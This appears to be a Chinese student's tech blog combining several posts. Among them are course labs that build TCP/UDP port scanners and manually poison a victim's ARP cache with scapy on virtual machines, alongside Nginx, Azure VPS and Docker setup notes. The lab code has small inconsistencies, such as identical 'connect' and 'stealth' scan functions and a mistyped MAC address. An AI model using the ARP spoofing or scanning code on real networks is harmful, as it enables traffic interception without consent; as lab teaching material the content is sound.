在80端口提供服务;防火墙ufw处于关闭状态。 1 systemctl start apache2 # port 80 过滤状态:对应端口开启监听, 防火墙开启。 1 ufw enable && ufw deny 80/tcp TCP connect scan / TCP stealth scan TCP connect scan 这种扫描方式可以使用 Connect()调用,使用最基本的 TCP 三次握手链接建立机制,建立一个链接到目标主机的特定端口上。 首先发送一个 SYN 数据包到目标主机的特定端口上,接着我们可以通过接收包的情况对端口的状态进行判断: 如果接收到的是一个 SYN/ACK 数据包,则说明端口是开放状态的; 如果接收到的是一个 RST/ACK 数据包,通常意味着端口是关闭的并且链接将会被重置; 如果目标主机没有任何响应则意味着目标主机的端口处于过滤状态。 若接收到 SYN/ACK 数据包(即检测到端口是开启的),便发送一个 ACK 确认包到目标主机,这样便完成了三次握手连接机制。成功后再终止连接。如图所示: 1 2 3 4 5 6 7 8 9 10 11 def tcp_connect_scan(target_ip, target_port): print(f"\033[31m[tcp_connect_scan]\033[0m {target_port}...\n") response = sr1(IP(dst=target_ip)/TCP(dport=target_port, flags="S"), timeout=2) if response and response.haslayer(TCP): if response[TCP].flags == 0x12: send(IP(dst=target_ip)/TCP(dport=target_port, flags="R")) print(f"Port {target_port} is open\n") elif response[TCP].flags == 0x14: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is filtered\n") TCP stealth scan 在TCP connect scan基础上,收到目标主机的数据包后,不进行回应,从而不打成三次握手连接,这使得目标主机难以确定是否正在进行扫描。 1 2 3 4 5 6 7 8 9 10 11 def tcp_stealth_scan(target_ip, target_port): print(f"\033[31m[tcp_stealth_scan]\033[0m {target_port}...\n") response = sr1(IP(dst=target_ip)/TCP(dport=target_port, flags="S"), timeout=2) if response and response.haslayer(TCP): if response[TCP].flags == 0x12: send(IP(dst=target_ip)/TCP(dport=target_port, flags="R")) print(f"Port {target_port} is open\n") elif response[TCP].flags == 0x14: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is filtered\n") TCP Xmas scan / TCP fin scan / TCP null scan TCP Xmas scan Xmas 发送一个 TCP 包,并对 TCP 报文头 FIN、URG 和 PUSH 标记进行设置。若是关闭的端口则响应 RST 报文;开放或过滤状态下的端口则无任何响应。如图所示。优点是隐蔽性好,缺点是需要自己构造数据包,要求拥有超级用户或者授权用户权限。 1 2 3 4 5 6 7 8 def tcp_xmas_scan(target_ip, target_port): print(f"\033[31m[tcp_xmas_scan]\033[0m {target_port}...\n") response = sr1(IP(dst=target_ip)/TCP(dport=target_port, flags="FPU"), timeout=2) if response and response.haslayer(TCP): if response[TCP].flags == 0x14: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is filtered or opened\n") TCP fin scan 仅发送 FIN 包,它可以直接通过防火墙,如果端口是关闭的就会回复一个 RST 包,如果端口是开放或过滤状态则对 FIN 包没有任何响应。如图所示。 其优点是 FIN 数据包能够通过只监测 SYN 包的包过滤器,且隐蔽性高于 SYN 扫描。缺点和 SYN 扫描类似,需要自己构造数据包,要求由超级用户或者授权用户访问专门的系统调用。 1 2 3 4 5 6 7 8 def tcp_fin_scan(target_ip, target_port): print(f"\033[31m[tcp_fin_scan]\033[0m {target_port}...\n") response = sr1(IP(dst=target_ip)/TCP(dport=target_port, flags="F"), timeout=2) if response and response.haslayer(TCP): if response[TCP].flags == 0x14: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is filtered or opened\n") TCP null scan 发送一个 TCP 数据包,关闭所有 TCP 报文头标记。只有关闭的端口会发送 RST 响应。其优点和 Xmas 一样是隐蔽性好,缺点也是需要自己构造数据包,要求拥有超级用户或者授权用户权限。 1 2 3 4 5 6 7 8 def tcp_null_scan(target_ip, target_port): print(f"\033[31m[tcp_null_scan]\033[0m {target_port}...\n") response = sr1(IP(dst=target_ip)/TCP(dport=target_port, flags=""), timeout=2) if response and response.haslayer(TCP): if response[TCP].flags == 0x14: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is filtered or opened\n") UDP scan UDP 是一个无链接的协议,当我们向目标主机的 UDP 端口发送数据,我们并不能收到一个开放端口的确认信息,或是关闭端口的错误信息。可是,在大多数情况下,当向一个未开放的 UDP 端口发送数据时,其主机就会返回一个 ICMP 不可到达(ICMP_PORT_UNREACHABLE)的错误,因此大多数 UDP 端口扫描的方法就是向各个被扫描的 UDP 端口发送零字节的 UDP 数据包,如果收到一个 ICMP 不可到达的回应,那么则认为这个端口是关闭的,对于没有回应的端口则认为是开放的,但是如果目标主机安装有防火墙或其它可以过滤数据包的软硬件,那我们发出 UDP 数据包后,将可能得不到任何回应,我们将会见到所有的被扫描端口都是开放的。如图所示: 其缺点是,UDP 是不可靠的,UDP 数据包和 ICMP 错误报文都不保证到达;且 ICMP 错误消息发送效率是有限的,故而扫描缓慢;还有就是非超级用户无法直接读取端口访问错误。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def udp_scan(target_ip, target_port): print(f"\033[31m[udp_scan]\033[0m {target_port}...\n") # 发送一个零字节的UDP数据包到目标端口 udp_packet = IP(dst=target_ip)/UDP(dport=target_port) response = sr1(udp_packet, timeout=2, verbose=0) if response is None: # 没有回应,通常认为端口是开放的 print(f"Port {target_port} is open or filtered\n") else: if response.haslayer(ICMP): # 收到ICMP错误消息 if int(response.getlayer(ICMP).type) == 3 and int(response.getlayer(ICMP).code) in [3, 13, 14]: print(f"Port {target_port} is closed\n") else: print(f"Port {target_port} is open or filtered\n") 上述每种扫描技术的实现测试均需要测试端口状态为:开放、关闭 和 过滤 状态时的程序执行结果 代码 close open filter 提供每一次扫描测试的抓包结果并分析与课本中的扫描方法原理是否相符?如果不同,试分析原因 close open filter 实验问题 python报错 在windows编写完代码后传到kali 虚拟机运行时报错SyntaxError: Non-ASCII character '\xe7' in file test.py on line 3, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details 解决方法:在文件开头加入# -*- coding: utf-8 -*-

10/20/2023
articleCard.readMore

在Nginx服务器安装SSL证书

在Nginx服务器安装证书 在Nginx独立服务器、Nginx虚拟主机上安装证书的操作不同,请根据您的实际环境,选择对应的安装步骤。 在Nginx独立服务器上安装证书 执行以下命令,在Nginx的conf目录下创建一个用于存放证书的目录。 1 2 cd /usr/local/nginx/conf #进入Nginx默认配置文件目录。该目录为手动编译安装Nginx时的默认目录,如果您修改过默认安装目录或使用其他方式安装,请根据实际配置调整。 mkdir cert #创建证书目录,命名为cert。 将证书文件和私钥文件上传到Nginx服务器的证书目录(/usr/local/nginx/conf/cert)。 编辑Nginx配置文件nginx.conf,修改与证书相关的配置。 执行以下命令,打开配置文件。 1 vim /usr/local/nginx/conf/nginx.conf 在nginx.conf中定位到server属性配置。 根据如下内容进行修改。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 server { #HTTPS的默认访问端口443。 #如果未在此处配置HTTPS的默认访问端口,可能会造成Nginx无法启动。 listen 443 ssl; #填写证书绑定的域名 server_name <yourdomain>; #填写证书文件名称 ssl_certificate cert/<cert-file-name>.pem; #填写证书私钥文件名称 ssl_certificate_key cert/<cert-file-name>.key; ssl_session_cache shared:SSL:1m; ssl_session_timeout 5m; #自定义设置使用的TLS协议的类型以及加密套件(以下为配置示例,请您自行评估是否需要配置) #TLS协议版本越高,HTTPS通信的安全性越高,但是相较于低版本TLS协议,高版本TLS协议对浏览器的兼容性较差。 ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; #表示优先使用服务端加密套件。默认开启 ssl_prefer_server_ciphers on; location / { root html; index index.html index.htm; } }

10/18/2023
articleCard.readMore

前端学习路线

新手自学前端路线图速览 第一阶段:前端入门网页基础 html5+css3 ➾ 页面布局实战 第二阶段:前端入门开发内功 javascript(基础+进阶)➾ ES6 ➾ Ajax ➾ Promise ➾ Git ➾ node.js ➾ PC端全栈开发实战 第三阶段:前端高级框架技术 vue2+vue3 ➾ vue实战项目 ➾ Pinia ➾ React ➾ React实战项目 第四阶段,混合应用开发技术 微信公众号 ➾ 微信小程序 ➾ 微信小程序实战项目 ➾ uni-app ➾ uni-app实战项目 第五阶段:大前端的架构技术 webpack5 ➾ Vite2 ➾ typescript架构 ➾ HarmonyOS app

10/18/2023
articleCard.readMore

云服务器上线网站

云服务器上线网站 购买域名 域名购买网站:Godaddy 购买方式略,这就不用教了吧。 使用的话 云服务器 Microsoft_Azure_Education免费云服务器 注册认证学生计划 在Github教育上完成学生认证(百度教程,大概就是上传学信网的英文翻译版学历认证.pdf,能不开魔法就不开,学校教育邮箱认证)后,登录azure,绑定github,不行就在azure重新认证一下学生,就好了,自己研究一下,他这个有点小bug。主要就是这俩按钮: 创建VPS 在哪里创建虚拟机 进入azure个人仪表盘,点击免费服务-浏览所有,根据需要选择创建的虚拟机: 配置虚拟机 网上搜了搜,好像现版本答案(2023.10.16)是Debian,Centos是上个版本答案,那就先选Debian了。 虚拟机名称:lihanDebian11AzureVPS 区域:(US) East US 系统:Debian 11 (Bullseye) - x64 Gen2 大小:Standard B1s - 1 vcpu, 1 GiB memory 管理员账户SSH 用户名:lihan3238 SSH公钥源:生成新的密钥对 密钥对名称:lihanDebian11AzureVPS_key 入站端口规则 入站端口:SSH(22) 创建虚拟机后,会下载一个私钥lihanDebian11AzureVPS_key.pem,这个私钥是用来连接虚拟机的,所以要保存好,不然就要重新生成密钥对了。 连接虚拟机 进入VPS页面,点击连接,选择本机SSH,根据提示SSH连接。 以Windows11的命令行Windows Powershell进行SSH连接为例: 将私钥lihanDebian11AzureVPS_key.pem放到C:\Users\[用户名]\.ssh\目录下,并在C:\Users\[用户名]\.ssh\config文件中添加如下内容: 1 2 3 4 Host [VPS公共ip] HostName [VPS公共ip] IdentityFile ~/.ssh/lihanDebian11AzureVPS_key.pem User lihan3238 # 这里是你创建VPS时设置的用户名 然后在Windows Powershell中输入ssh lihan3238@[VPS公共ip]即可连接VPS。 配置VPS 本地虚拟机测试docker Gin 1 2 3 4 5 6 docker pull golang # web1目录下放置gin框架搭建的网站 # 不知道为什么,这里的web1目录不能加`/home/` docker run -di --name lihanGinServer -v /home/lihan/VPStest/gin/web1:/go/web1 golang # 运行gin网站 sudo docker exec -di lihanGinServer /bin/bash -c "cd web1/;go run main.go" Nginx 1 2 3 docker pull nginx # 在宿主机上创建/home/lihan/VPStest/nginx目录,目录下创建www、conf、logs目录,conf目录下创建nginx.conf文件,分别挂载到容器中 docker run -di -p 9091:80 --name lihanNginxServer -v /home/lihan/VPStest/nginx/www:/usr/share/nginx/html -v /home/lihan/VPStest/nginx/conf/nginx.conf:/etc/nginx/nginx.conf -v /home/lihan/VPStest/nginx/logs:/var/log/nginx nginx nginx配置示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 user nginx; worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; #include /etc/nginx/conf.d/*.conf; upstream gin { server 172.17.0.2:8080; } server { listen 80; location / { proxy_pass http://gin; #Proxy Settings proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Proto $proxy_add_x_forwarded_for; } } } MySQL 1 docker pull mysql 暂无 云服务器上线网站 制作docker镜像 1 2 3 4 5 6 7 8 # 容器打包成镜像 docker commit lihanGinServer lihangin docker commit lihanNginxServer lihannginx # 镜像保存为tar文件 docker save -o lihangin.tar lihangin docker save -o lihannginx.tar lihannginx # 上传到VPS VPS上配置容器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # Debian11安装docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh # 设置开机自启动 sudo systemctl start docker sudo systemctl enable docker # 导入镜像 docker load -i lihangin.tar docker load -i lihannginx.tar # 创建文件夹 mkdir -p /home/lihan3238/VPStest/nginx/www mkdir -p /home/lihan3238/VPStest/nginx/conf mkdir -p /home/lihan3238/VPStest/nginx/logs mkdir -p /home/lihan3238/VPStest/gin/web1 mkdir -p /home/lihan3238/VPStest/mysql # 在/home/lihan3238/VPStest/nginx/conf下创建nginx.conf文件 # 运行gin容器 docker run -di --name lihanGinServer -v /home/lihan3238/VPStest/gin/web1:/go/web1 lihangin sudo docker exec -di lihanGinServer /bin/bash -c "cd web1/;go run main.go" # 运行nginx容器 docker run -di -p 9091:80 --name lihanNginxServer -v /home/lihan3238/VPStest/nginx/www:/usr/share/nginx/html -v /home/lihan3238/VPStest/nginx/conf/nginx.conf:/etc/nginx/nginx.conf -v /home/lihan3238/VPStest/nginx/logs:/var/log/nginx lihannginx # 运行mysql容器 略 # 每次重启 sudo docker start lihanGinServer sudo docker start lihanNginxServer sudo docker exec -di lihanGinServer /bin/bash -c "cd web1/;go run main.go" 外网访问 此时服务器只开放了用于SSH连接的22端口,没有开放网站的9091端口。 进入VPS配置界面,点击网络-入站端口规则-添加,添加9091端口,保存。 稍等后即可通过公网ip访问网站啦。 问题 docker debug docker logs lihanNginxServer docker0的bridge网络地址分配问题 有时候启动后发现访问不了网站,原因是每次重启容器,都会重新分配容器内ip地址,虽然大部分情况下不变,但偶尔还是会变的,所以要在nginx.conf中重新配置upstream的ip地址。 Nginx的80端口占用 检查一下/etc/nginx/conf.d/default.conf文件,看看是不是有server{listen 80;}这样的配置,如果有,就把它删掉,然后重启nginx服务就可以了。 因为/etc/nginx/nginx.conf中有include /etc/nginx/conf.d/*.conf;这样的配置,所以default.conf中的配置也会生效,所以要把default.conf中的配置删掉,或者把default.conf文件删掉,或者把default.conf文件名改成default.conf.bak这样的,这样nginx就不会加载default.conf文件了。 Azure免费额度 Azure免费额度账单 Azure虚拟机免费金额100$,保质期366天,但是虚拟机只有一共750h使用时间,也就是31.25天,所以不用时候记得关机。 然后有很多乱七八糟小号免费金额的杂项,比如静态公共ip就要收费,所以少要、用静态公共ip,用动态公共ip就行了。 动态公网ip与FQDN 使用动态公网ip后,可以在Azure仪表盘设置FQDN,这样就可以通过域名访问网站了。 如填写op,那么可以访问op.eastus.cloudapp.azure.com访问 (用这个顺便把ssh的config改了,免得折腾) 上传文件失败问题 nginx默认允许上传文件大小为1MB,在配置中修改client_max_body_size 50M; 1 2 3 4 5 6 7 8 9 10 11 12 13 server { listen 80; location / { proxy_pass http://gin; # 修改文件传输大小限制 client_max_body_size 50M; #Proxy Settings proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Proto $proxy_add_x_forwarded_for; } }

10/16/2023
articleCard.readMore

gitpush失败问题

问题 在使用TortoiseGit进行Git push的时候,发现无法push,出现报错。 原因 不知道什么原因,TortoiseGit的Pageant出现了问题,丢失了私钥privateKey。 解决方案 打开Pageant,添加私钥privateKey,即可。

10/15/2023
articleCard.readMore

Docker和Virtualbox的冲突

问题 在使用VirtualBox的时候,发现无法启动所有虚拟机时报错。 原因 安装了Docker,Docker开发环境会强制开启Hyper-V,导致VirtualBox无法启动。 解决方案 打开"开始"菜单,搜索"程序和功能",选择"启用或关闭 Windows功能",在列表中找到"Hyper-V"把前面的勾选取消并确定。 这个时候已经开始卸载,卸载完毕重启电脑即可。 如果还是不行那就用命令行再进行关闭。 以管理员身份运行命令提示符 执行命令 1 bcdedit /set hypervisorlaunchtype off 重启,运行Virtual Box即可 恢复 如果想要恢复hyper启动, 1 bcdedit / set hypervisorlaunchtype auto 一劳永逸 windows上安装docker时,选择wsl2 instead of HyperV,装在wsl2上就完了

10/15/2023
articleCard.readMore

2023网络安全作业chap0x04

网络监听实验 实验环境 网络拓扑 使用第一次实验中的internalNetwork1的lihanGatewayDebian、lihanVictimKali1以及新配置的lihanAttackerKaliChap4 如图所示网络中的节点基本信息如下: 攻击者主机(lihanAttackerKaliChap4) mac地址:08:00:27:ef:46:19/eth0 ip地址:172.16.111.135 受害者主机(lihanVictimKali1) mac地址:08:00:27:93:2e:67/eth0 ip地址:172.16.111.102 网关(lihanGatewayDebian) mac地址:08:00:27:63:cd:72/enp0s9 ip地址:172.16.111.1 实验要求 实验一:检测局域网中的异常终端 实验二:手工单步“毒化”目标主机的 ARP 缓存 实验过程 实验准备 确定在攻击者主机上提前安装好 scapy 并更新 1 pip3 install scapy[complete] 实验一:检测局域网中的异常终端 注意,启动虚拟机前 要在虚拟机的网络配置处,允许开启混杂模式。 在受害者主机上检查网卡的「混杂模式」是否启用 1 ip link show eth0 输出结果里没有出现PROMISC字符串,未开启混杂模式 在攻击者主机上使用 scapy 发送 ARP 请求包,获取局域网中的主机信息 1 2 sudo scapy pkt = promiscping("172.16.111.102") 开启该网卡的「混杂模式」 1 sudo ip link set eth0 promisc on 此时会发现输出结果里多出来了 PROMISC 再次使用 scapy 发送 ARP 请求包,获取局域网中的主机信息 1 pkt = promiscping("172.16.111.102") 关闭该网卡的「混杂模式」 1 sudo ip link set eth0 promisc off 总结 混杂模式 接收所有经过网卡的数据包,包括不是发给本机的包,不验证MAC地址 普通模式 网卡只接收发给本机的包 使用wireshark分析: promiscping命令会发送ARP who-has 请求,且没有指定目的主机的MAC地址,只有受害者主机开启混杂模式后,才能收到该请求包。 实验二:手工单步“毒化”目标主机的 ARP 缓存 获取当前局域网的网关 MAC 地址 构造一个 ARP 请求 1 2 3 arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst="172.16.111.1") # 查看构造好的 ARP 请求报文详情 arpbroadcast.show() 发送 ARP 请求 1 recved = srp(arpbroadcast, timeout=2) 查看网关 MAC 地址 1 2 gw_mac = recved[0][0][1].hwsrc gw_mac 伪造网关的 ARP 响应包 发送给受害者主机 192.168.0.102,ARP 响应的目的 MAC 地址设置为攻击者主机的 MAC 地址 1 2 3 arpspoofed=Ether()/ARP(op=2, psrc="172.16.111.1", pdst="172.16.111.102", hwdst="08:00:27:ef:48:19") arpspoofed.show() 发送 ARP 响应包 1 sendp(arpspoofed) 在受害者主机上查看 ARP 缓存 发现网关的 MAC 地址已被「替换」为攻击者主机的 MAC 地址 恢复受害者主机的 ARP 缓存 伪装网关给受害者发送 ARP 响应 1 2 3 restorepkt1 = Ether()/ARP(op=2, psrc="172.16.111.1", hwsrc="08:00:27:63:cd:72", pdst="172.16.111.102", hwdst="08:00:27:93:2e:67") sendp(restorepkt1, count=100, inter=0.2) 伪装受害者给网关发送 ARP 响应 1 2 3 restorepkt2 = Ether()/ARP(op=2, pdst="172.16.111.1", hwdst="08:00:27:63:cd:72", psrc="172.16.111.102", hwsrc="08:00:27:93:2e:67") sendp(restorepkt2, count=100, inter=0.2) 在受害者主机上准备“刷新”网关 ARP 记录 1 2 3 ping 192.168.0.1 ip neigh 实验问题 实验环境配置 配置实验环境时候,产生了一个疑问,网络拓扑中的switch如何实现。之前只配置过vbox中的几种网络模式,没有专门选择switch或者hub。 解决 在联网搜索及浏览上次实验时的笔记后,了解到,Vbox中不需要专门配置switch或者hub,多种网络模式分别对应着不同的网络拓扑结构,虚拟出了switch等,根据需要选择即可。实验中需要的网络拓扑,选择Internal Network(内部网络)即可。 网卡配置 配置攻击主机lihanAttackerKaliChap4的网卡时,发现不能获取ip地址。 解决 发现是因为自己没有开机Gateway主机,开机后,攻击主机可以获取到ip地址。 参考 网络安全-第四章 网络监听 黄老师的畅课视频回放 VirtualBox虚拟机几种网络的区别

10/11/2023
articleCard.readMore

Docker&&K8s学习笔记

Docker&&K8s学习笔记 Docker 官网 官方文档 Docker安装(Ubuntu22.04.3) 不同平台有差异,建议百度 1 2 3 curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo service docker start 1. 卸载旧版本 1 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done 2. 安装依赖并添加GPG密钥 1 2 3 4 5 sudo apt-get update sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg 3. 添加Docker软件源仓库 1 2 3 4 5 echo \ "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update 4. 安装Docker Engine 1 2 3 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin # 验证安装 sudo docker run hello-world 5. 卸载Docker Engine 1 2 3 4 5 #卸载软件包 sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras #删除所有镜像、容器和卷 sudo rm -rf /var/lib/docker sudo rm -rf /var/lib/containerd 6. 设置ustc镜像源 1 2 3 4 #在/etc/docker/daemon.json中写入 { "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] } Docker常用命令 docker --help:查看docker帮助 1. 启动docker服务 1 2 3 4 5 6 7 8 9 10 #启动docker服务 sudo systemctl start docker #查看docker服务状态 sudo systemctl status docker #停止docker服务 sudo systemctl stop docker #重启docker服务 sudo systemctl restart docker #开机自启动docker服务 sudo systemctl enable docker 2. 镜像相关 2.1 查看镜像 1 2 3 4 5 6 7 docker images #REPOSITORY : 镜像名称 #TAG :镜像标签 #IMAGE ID :镜像ID #CREATED :镜像创建时间 #SIZE : 镜像大小 2.2 搜索镜像 1 2 3 4 5 6 7 docker search [镜像名称] #NAME :镜像名称 #DESCRIPTION :镜像描述 #STARS :镜像评价 #OFFICIAL :是否官方 #AUTOMATED :是否自动构建,表示该镜像由DockerHub自动构建流程创建的 2.3 拉取镜像 1 2 docker pull [镜像名称]:[标签] #不加标签时,默认拉取latest标签 2.4 删除镜像 1 2 3 4 5 docker rmi [镜像ID] #删除镜像时,要求该镜像没有被容器使用 #删除所有镜像 docker rmi `docker images -q` 3. 容器相关 3.1 查看容器 1 2 3 4 5 6 7 8 9 10 11 #查看正在运行中的容器 docker ps #查看停止的容器 docker ps -f status=exited #查看所有容器 docker ps -a #查看最近一次创建的容器 docker ps -l 3.2 创建与启动容器 1 2 3 4 5 6 7 8 9 docker run #参数说明 #-i :以交互模式运行容器,通常与 -t 同时使用; #-t :启动后进入其命令行,即为容器重新分配一个伪输入终端,通常与 -i 同时使用; #--name :为容器指定一个名称; #-v :将本地目录挂载到容器中,前一个是宿主机目录,后一个是容器内部的挂载点; #-d :后台运行守护式容器,创建容器后不会自动登陆容器。 #-p :指定端口映射,前一个是宿主机端口,后一个是容器内部的映射端口,可用多个-p做多个端口映射。 (1) 交互式方式创建容器 1 2 docker run -it --name=[容器名称] [镜像名称]:[标签] /bin/bash #创建即登录,退出即关闭 (2) 守护式方式创建容器 1 2 3 4 5 docker run -di --name=[容器名称] [镜像名称]:[标签] /bin/bash #创建不登陆,退出不关闭 #登录容器 docker exec -it [容器名称] /bin/bash 3.3 启动与停止容器 1 2 docker start [容器名称] docker stop [容器名称] 3.4 文件拷贝 1 2 3 4 #从容器拷贝到主机 docker cp [容器名称]:[容器内路径] [主机路径] #从主机拷贝到容器 docker cp [主机路径] [容器名称]:[容器内路径] 3.5 目录挂载 目录挂载是将主机的目录挂载到容器中,容器中的文件会实时同步到主机中,主机中的文件也会实时同步到容器中(共享文件夹) 1 2 docker run -di --name=[容器名称] -v [主机目录]:[容器内目录] [镜像名称]:[标签] #似乎docker目录只能写相对路径,不能写绝对路径 3.6 查看容器ip 1 2 3 4 5 6 #查看容器全部信息 docker inspect [容器名称] #查看容器ip docker inspect --format='{{.NetworkSettings.IPAddress}}' [容器名称] 3.7 删除容器 1 2 3 docker rm [容器名称] #删除所有容器 docker rm `docker ps -a -q` 3.8 容器日志 1 2 3 4 5 6 7 docker logs --help docker logs -tf <--tail [显示数量]> [容器名称] #示例 docker run -di --name=lihan_ubuntu ubuntu:22.04 /bin/sh -c "while true; do echo hello world; sleep 1; done" docker logs -tf --tail 10 lihan_ubuntu 3.9 查看容器中进程信息 ps 1 docker top [容器名称] 3.10 查看容器中元数据 1 docker inspect [容器名称] 4. 应用部署 4.1 MySQL 1 2 3 4 5 #拉取镜像 docker pull mysql:5.7 #创建容器 docker run -di --name=lihan_mysql -p 33306:3306 -e MYSQL_ROOT_PASSWORD=lihan mysql:5.7 使用MySQL Workbench连接数据库 用127.0.0.1连不上,突然想起来我用的是虚拟机。。。 导入sql文件 4.2 Tomcat 1 2 3 4 5 #拉取镜像 docker pull tomcat:7-jre7 #创建容器 docker run -di --name=lihan_tomcat -p 18080:8080 -v /usr/local/webapps:/usr/local/tomcat/webapps tomcat:7-jre7 将sample.war放在docker宿主机的/usr/local/webapps目录下,访问http://localhost:18080/sample即可测试 4.3 Nginx 1 2 3 4 5 #拉取镜像 docker pull nginx #创建容器 docker run -di --name=lihan_nginx -p 180:80 nginx testweb目录复制到docker中 docker exec -it lihan_nginx /bin/bash进入容器,进入:/etc/nginx/conf.d目录,查看default.conf文件,根据root /usr/share/nginx/html;,将testweb目录中的文件复制到/usr/share/nginx/html目录下,访问http//localhost:180即可测试 4.4 Redis部署 1 2 3 4 5 #拉取镜像 docker pull redis #创建容器 docker run -di --name=lihan_redis -p 6379:6379 redis 略,没学过,先不测试了 5.迁移与备份 5.1 容器保存为镜像 1 2 3 4 docker commit [容器名称] [镜像名称]:[标签] #查看镜像 docker images 5.2 镜像保存为文件(.tar) 1 docker save -o [文件名].tar [镜像名称]:[标签] 5.3 文件(.tar)导入为镜像 1 docker load -i [文件名].tar 6. Dockerfile 6.1 Dockerfile介绍 Dockerfile是由一系列命令和参数构成的脚本,这些命令应用于基础镜像并最终创建一个新的镜像 对于开发人员:可以为开发团队提供一个完全一致的开发环境; 对于测试人员:可以直接拿开发时所构建的镜像或者通过Dockerfile文件构建一个新的镜像开始工作 对于运维人员:在部署时,可以实现应用的无缝移植。 6.2 Dockerfile指令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #指定基础镜像 FROM [镜像名称]:[标签] #维护者信息 MAINTAINER [维护者姓名] #设置环境变量 ENV [key] [value] #镜像操作指令 RUN [shell命令] #拷贝文件 COPY [源路径] [目标路径] #COPY并解压压缩包 ADD [源路径] [目标路径] #设置工作目录 WORKDIR [工作目录] #设置容器启动时执行的命令 ENTRYPOINT [shell命令] 6.3 Dockerfile构建镜像 jdk8镜像构建为例 jdk-8u371-linux-x64.tar.gz 1 2 3 4 5 6 7 8 9 10 11 # 将jdk-8u371-linux-x64.tar.gz放在宿主机的/usr/local/dockerjdk目录下 # 创建`Dockerfile`文件 FROM ubuntu:18.04 MAINTAINER lihan RUN mkdir /usr/local/java ADD jdk-8u371-linux-x64.tar.gz /usr/local/java/ # jdk-8u371-linux-x64.tar.gz 解压后为 jdk1.8.0_371 ENV JAVA_HOME /usr/local/java/jdk1.8.0_371 ENV JRE_HOME $JAVA_HOME/jre ENV CLASSPATH $JAVA_HOME/bin/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib:$CLASSPATH ENV PATH $JAVA_HOME/bin:$PATH 1 2 3 # 构建镜像 # . 表示当前目录下的Dockerfile文件 docker build -t lihanjdk1.8 . 7. Docker私有仓库 7.1 搭建与配置私有仓库 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 拉取私有仓库镜像 docker pull registry # 创建私有仓库容器 docker run -di --name=lihan_registry -p 5000:5000 registry # 打开浏览器,访问http://<ip>:5000/v2/_catalog,看到`{"repositories":[]}`表示私有仓库搭建成功 # 修改docker配置文件,添加私有仓库地址,使本地可以上传镜像到私有仓库 在`/etc/docker/daemon.json`中添加 { "insecure-registries": ["<ip>:5000"] } # 重启服务 systemctl restart docker 7.2 上传和下载镜像到私有仓库 1 2 3 4 5 6 7 8 9 # tag镜像,为镜像创建一个新的标签 docker tag [镜像名称]:[标签] [私有仓库地址]/[镜像名称]:[标签] # 上传镜像,确保registry是运行的 docker start [registry镜像容器名] docker push [私有仓库地址]/[镜像名称]:[标签] # 下载镜像 docker pull [私有仓库地址]/[镜像名称]:[标签] Docker网络(Docker0) Docker网络详解 查看容器IP: docker inspect --format='{{.NetworkSettings.IPAddress}}' [容器名称] docker inspect [容器名称] | grep IPAddress 实现原理 Docker在安装时会创建一个名为docker0的虚拟网桥,当创建一个容器时,会为其分配一个IP地址,称为Container-IP,同时将容器加入到docker0网桥中,这样容器就可以和docker0网桥中的其他容器通信,也可以和宿主机通信,从而实现容器之间的通信。 四种网络模式 当你安装Docker时,它会自动创建三个网络。bridge(创建容器默认连接到此网络)、 none 、host。你可以使用以下docker network ls命令列出这些网络: bridge网络代表docker0,所有Docker安装中存在的网络。除非你使用docker run --network=选项指定,否则Docker守护程序默认将容器连接到此网络 使用docker run创建Docker容器时,可以用--net选项指定容器的网络模式,Docker可以有以下4种网络模式: host模式:使用--net=host指定。 none模式:使用--net=none指定。 bridge模式:使用--net=bridge指定,默认设置。 container模式:使用--net=container:NAME_or_ID指定 Docker网络模式 配置 说明 host模式 --net=host 容器和宿主机共享Network namespace。容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP和端口。 container模式 --net=container:NAME_or_ID 